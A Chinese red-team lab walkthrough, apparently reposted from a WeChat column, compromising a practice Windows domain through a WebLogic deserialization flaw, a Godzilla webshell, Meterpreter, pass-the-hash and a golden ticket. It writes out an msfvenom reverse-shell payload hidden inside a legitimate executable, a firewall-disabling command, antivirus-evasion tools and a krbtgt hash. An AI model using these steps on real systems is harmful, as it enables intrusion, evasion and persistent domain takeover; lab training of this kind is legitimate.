前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >ATT&CK红队评估(打靶过程超详细)

ATT&CK红队评估(打靶过程超详细)

作者头像
红队蓝军
发布于 2025-02-12 07:43:24
发布于 2025-02-12 07:43:24
14500
代码可运行
举报
文章被收录于专栏:红队蓝军红队蓝军
运行总次数:0
代码可运行

介绍

红队实战系列,主要以真实企业环境为实例搭建一系列靶场。本次红队环境主要Access Token利用、

WMI利用、域漏洞利用SMB relay , EWS relay , PTT(PTC) , MS14-068 ,GPP ,SPN利用、黄金票据/白 银票据/Sid History/MOF等攻防技术。关于靶场统一登录密码:1qaz@WSX

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
1. Bypass UAC

2. Windows系统NTLM获取(理论知识:Windows认证)

3. Access Token利用(MSSQL利用)

4. WMI利用

5. 网页代理,二层代理,特殊协议代理(DNSICMP6. 域内信息收集

7. 域漏洞利用:SMB relay , EWS relay , PTT(PTC)MS14-068GPPSPN利用

8. 域凭证收集

9. 后门技术(黄金票据/白银票据/Sid History/MOF

环境说明

内网网段:10.10.10.1/24

DMZ网段:192.168.111.1/24

测试机地址:192.168.111.1(Windows), 192.168.111.11( Linux

防火墙策略(策略设置过后,测试机只能访问192段地址,模拟公网访问):

deny all tcp ports:10.10.10.1 allow all tcp ports:10.10.10.0/24

配置信息

DC

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
IP[10.10.10.10](10.10.10.10)

OS:Windows 2012(64)

应用:AD

WEB

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
IP1[10.10.10.80](10.10.10.80)

IP2[192.168.111.80](192.168.111.80)

OS:Windows 2008(64)

应用:Weblogic 10.3.6 MSSQL 2008

PC

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
IP1[10.10.10.201](10.10.10.201)

IP2[192.168.111.201](192.168.111.201)

OS:Windows 7(32)

环境搭建

*配置网卡*

增加一个仅主机网卡,网段是10.10.10.0段:

*配置**DC*

启动,并查看网络:

配置web

启动并检查网络:

注意登录域管账户才能进去:de1ay\Administrator 1qaz@WSX

登录进去如果要修改密码,统一修改为:Aa@123456 配置网络:

将net段设置为自动获取IP

然后测试:

配置PC

启动并检查网络:

将net段设置为自动获取IP:

启动web服务

进入WBE到C:\Oracle\Middleware\user_projects\domains\base_domain\bin,使用管理员模式依次 执行脚本 :

然后访问:

Weblogic登录界面:http://192.168.222.139:7001/console

搞定。

*渗透*

渗透web

web IP: 192.168.222.139

端口扫描

nmap -sS 192.168.222.139

端口都很熟悉

80:没有站点,什么都没有

135 , 139 ,445 可以考虑利用一波 1433:mssql

3389: 可以考虑远程 7001:weblogic

nmap探测漏洞

nmap 192.168.222.133 --script vuln

有参考价值的。msf中好像没有对应的利用模块。

*永恒之蓝*

失败。

搞weblogic

weblogic漏洞有点多,我们先收集一下

借助:https://github.com/dr0op/WeblogicScan 按照使用说明操作即可。

通过下载或者git clone的方式下载下来,然后执行:

python3 WeblogicScan.py 192.168.222.139 7001

还有一个工具也可以:

https://gitee.com/gid1314/weblogicScanner/

*CVE-2019-2725*

像这种情况,有可能是因为有杀毒软件: 确实被拦截了

我们尝试编码看是否能够OK 需要高级参数:

show advanced

再次run:

MSF自带的exp用不了,那就想其他办法。

哥斯拉拿webshell

这个地方借助java的反序列化利用工具:

https://github.com/shack2/javaserializetools/releases/tag/1.0.20190828

解压执行:

java -jar Java反序列化漏洞利用工具V1.7.jar

命令执行:

利用起来应该没有问题。

接下来上传webshell,既然这个地方有360,那么我们需要有免杀功能的webshell,这里选择哥斯拉:

https://github.com/BeichenDream/Godzilla/releases/tag/v4.0.1-godzilla

下载解压执行:

java -jar godzilla.jar

直接生成免杀码:

记住生成文件的位置,然后利用反序列化工具去上传木马!

用哥斯拉进行链接webshell:

关防火墙:

netsh advfirewall set allprofiles state off

和MSF联动:

然后哥斯拉上面回传:

搞定!!!

没找到windefend,那么把防火墙服务关了

但是提不了权,这个shell有点鸡肋。。。。。。

*免杀工具*

还是得走免杀这步。。。。。

免杀工具有很多,但是不一定生效,这个大家一定要注意,因为病毒库一直在更新 Invoke-Obfuscation: https://github.com/danielbohannon/Invoke-Obfuscation

Ant-AntV:https://github.com/shellfeel/Ant-AntV CuiRi:https://github.com/NyDubh3/CuiRi

FourEye:https://github.com/lengjibo/FourEye

这些工具都可以去尝试。万一成功了呢。。。。。。

通过加壳的方式去生成一个木马:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.222.128 LPORT=9502 - x /home/kali/Desktop/soft/ScreenBrightness.exe -k -f exe > ss.exe

直接通过CVE拿到shell:

*提权*

*内网信息收集*

会话转移给cs

将会话转移给CS进行收集:创建监听器:

msf使用:

use exploit/windows/local/payload_inject

*提权*

*基本信息收集*

*端口扫描*

顺带主机一起扫描

*内网渗透*

*hashdump*

*PTH*

DC开了445,先搞DC:

先搞个SMB的监听器:

拿下DC:

相同的方式拿下PC:

*权限维持*

*黄金票据*

先在DC中进行hashdump:

拿到域的SID:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
用户名:Administrator
domain: de1ay.com
SID: S-1-5-21-2756371121-2868759905-3853650604-1001
krbtgt-hash: 82dfc71b72a11ef37d663047bc2088fb

在web上制作黄金票据:

试试:

shell dir \DC\c$

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2024-11-11,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 红队蓝军 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
联邦学习FATE框架安装搭建 - CentOS8
FATE (Federated AI Technology Enabler) 是微众银行AI部门发起的开源项目,为联邦学习生态系统提供了可靠的安全计算框架。FATE项目使用多方安全计算 (MPC) 以及同态加密 (HE) 技术构建底层安全计算协议,以此支持不同种类的机器学习的安全计算,包括逻辑回归、基于树的算法、深度学习和迁移学习等。
小陈运维
2021/10/13
1.2K0
Docker之获取镜像(一)
docker是开源的应用容器引擎,基于主流的开发语言Go语言而开发,它是基于Apache2.0协议开发。docker的好处在于它可以让开发者打包他们的应用以及依赖包到一个轻量级、可移植的容器中,然后发布到任何流行的 Linux 机器上,也可以实现虚拟化,容器完全是使用沙箱隔离的机制,这样保障了不会对宿主机有任何的破坏。毫不夸张的说,正因为有了docker,也就形成了它很完善的生态体系,也可以让微服务架构级的产品全面落地,形成了“软件即服务”的理念,真正意义上解决了Saas化以及Paas化平台级产品的部署难的困境。程序员都是谦虚的,学习什么,都习惯了向世界问好,学习docker也是如此。在搭建docker环境的基础上,执行如下指令,就会输出“Hello from Docker!”
无涯WuYa
2021/10/13
1.3K0
centos7 安装 mysql5.7 日志
[root@VM_2_29_centos download]# wget https://dev.mysql.com/get/mysql57-community-release-el7-11.noarch.rpm --2020-04-08 18:55:52-- https://dev.mysql.com/get/mysql57-community-release-el7-11.noarch.rpm Resolving dev.mysql.com (dev.mysql.com)... 137.254.60.
卓越笔记
2023/02/18
7890
Zabbix 5.0 LTS 安装
使用以下命令导入 zabbix 数据库,zabbix 数据库用户为 zabbix,密码为 password
bobby_0519
2020/08/18
1.5K0
关于《Linux性能优化实战》中的案例在centos环境中的演示:用户CPU使用率过高
原文地址:https://time.geekbang.org/column/article/70476 对应的github地址:https://github.com/feiskyer/linux-perf-examples/blob/master/nginx-short-process/README.md
冬天里的懒猫
2021/08/05
1.6K0
docker安装
http://dl.fedoraproject.org/pub/epel/6/x86_64/epel-release-6-8.noarch.rpm
dodo_lihao
2018/09/12
1.2K0
Docker 基础2
安装Docker [root@h103 ~]# yum install docker-engine Loaded plugins: fastestmirror, langpacks dockerrepo | 2.9 kB 00:00:00 dockerrepo/7/primary_db
franket
2022/02/09
1920
CentOS7安装MariaDB的流程步骤
安装前需要彻底清除你的服务器计算机上原来安装过的mysql、maraidb的文件,不然会出现各种问题。 CentOS7安装MariaDB的流程步骤如下:
青山师
2023/05/05
1.3K0
Zabbix 监控系统搭建2
安装Zabbix软件包 [root@zabbix-server zabbix]# yum install zabbix-server-mysql zabbix-web-mysql Loaded plugins: fastestmirror, refresh-packagekit, security Setting up Install Process Repository base is listed more than once in the configuration Loading mirror s
franket
2022/02/09
4560
Docker Review - dockerfile 实战_给基础镜像增加功能
Dockerfile 分为四部分:基础镜像信息、维护者信息、镜像操作指令、容器启动执行指令。
小小工匠
2022/11/30
6230
Docker Review - dockerfile 实战_给基础镜像增加功能
3分钟,YUM升级MYSQL,5.1到5
本文介绍如何通过YUM升级Mysql的版本(默认用YUM安装的MySQL都是5.1的版本)
py3study
2020/01/07
7340
Kubernetes(k8s)概念学习、集群安装
  1)、etcd的官方将它定位成一个可信赖的分布式键值存储服务,它能够为整个分布式集群存储一些关键数据,协助分布式集群的正常运转。键值对数据库,存储k8s集群的所有重要信息,重要信息是进行持久化的信息。   2)、etcd作为持久化方案,etcd STORAGE存储有两个版本,v2版本是基于Memory内存的,数据存储到内存中,v3版本是基于Database,引入本地卷的持久化操作,关机不会操作数据的损坏。推荐在k8s集群中使用Etcd v3,v2版本已在k8s v1.11中弃用。   3)、master服务器,领导者,包含scheduler调度器、replication controller简称rc,控制器、api server是主服务器。   4)、scheduler调度器,任务过来以后通过调度器分散到不同的node节点里面,注意,scheduler调度器将任务交给api server,api server将任务写入到etcd,scheduler调度器并不会和etch直接进行交互。负责接收任务,选择合适的节点进行分配任务。   5)、replication controller简称rc,控制器,它们就是维护副本的数目,维护我们的期望值,维护副本的数目也就是创建相应的pod,删除相应的pod。维护副本期望数目。   6)、api server是主服务器里面一切服务访问的入口,api server非常繁忙的,为了减轻其压力,每个组件可以在本地生成一定的缓存。所有服务访问统一入口。   7)、node节点,执行者。包含 Kubelet、Kube proxy、container。node节点需要安装三个软件Kubelet、Kube proxy、Docker(或者其他容器引擎)。   8)、Kubelet组件会和CRI(container Runtime Interface)这里就是Docker的表现形式,Kubelet和Docker进行交互操作Docker创建对应的容器,Kubelet维持我们的Pod的声明周期。直接跟容器引擎交互实现容器的生命周期管理。   9)、Kube proxy组件可以完成负载的操作,怎么实现Pod与Pod之间的访问,包括负载均衡,需要借助Kube proxy,它的默认操作对象是操作防火墙去实现这里的映射,新版本还支持IPVS(LVS组件)。负责写入规则至iptables、ipvs实现服务映射访问的。
别先生
2020/06/09
9090
Kubernetes(k8s)概念学习、集群安装
Install Cobbler
可以实现 Linux 的自动化部署与初始化配置,在需要安装大量 OS 的场景下,可以极大提升效率
franket
2021/08/11
1.3K0
前端要知道的Linux 的 RPM 和 YUM 包管理[每日前端夜话0x5D]
许多 Linux 程序以源代码形式发行,用户可将它连同所需的手册页、配置文件等一起构建到需要的程序或程序集中。现在,大部分 Linux 发行商都使用预先构建的程序或称为包 的程序集,这些包已准备好安装在该发行版上。在本教程,你将学习可帮助安装、更新和删除包的包管理工具。本教程将重点介绍 Red Hat 开发的 Red Hat Package Manager (RPM),以及最初在杜克大学物理系开发的用来管理 Red Hat Linux 系统的 Yellowdog Updater Modified (YUM)。
疯狂的技术宅
2019/05/10
4.2K0
前端要知道的Linux 的 RPM 和 YUM 包管理[每日前端夜话0x5D]
Linux中RPM 和 YUM 包管理详解
在本教程中,学习如何使用 RPM 和 YUM 工具管理 Linux 系统上的包。学习:
shaonbean
2019/05/26
2.8K0
Openstack Pike本地yum源搭建
在部署Openstack的时候,可能环境受限,不能连接外网,这时候需要通过本地yum源完成安装。
后端云
2018/10/24
2.2K0
centos8安装部署ovirt-engine
oVirt-engine既可以以虚机的形式部署在ovirt-node上,也可以部署在一台独立的服务器上(建议)
summerking
2022/11/24
1.4K0
在CentOS上安装Singularity高性能容器
Singularity是劳伦斯伯克利国家实验室专门为大规模、跨节点HPC和DL工作负载而开发的容器化技术。具备轻量级、快速部署、方便迁移等诸多优势,且支持从Docker镜像格式转换为Singularity镜像格式。除了兼容docker的镜像之外,singularity还有一个不太明显的优势:可以通过非root帐号来拉起容器,这样对于某些安全性要求比较高的场景来说还是有用途的。
DechinPhy
2021/05/21
1.3K0
Install PostgreSQL
PostgreSQL 的影响力越来越大了,虽然长期居于数据库排行榜的第四名(前三分别为 oracle, mysql, sqlserver),不过近三年来(2015-2018年),却是受关注涨幅最大的数据库,并且长期保持稳步增涨的态势,可能与其丰富的特性迎合了现代互联网的发展需求有一定关联
franket
2021/08/11
2.4K0
Centos7使用yum安装 pip 、ipython
仅供学习参考 安装epel扩展源 yum -y install epel-release 执行如下: [root@server01 work]# yum -y install epel-release Loaded plugins: fastestmirror Determining fastest mirrors * base: centos.ustc.edu.cn * extras: mirrors.aliyun.com * updates: mirrors.aliyun.com base
Devops海洋的渔夫
2019/05/31
2.6K0
相关推荐
联邦学习FATE框架安装搭建 - CentOS8
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档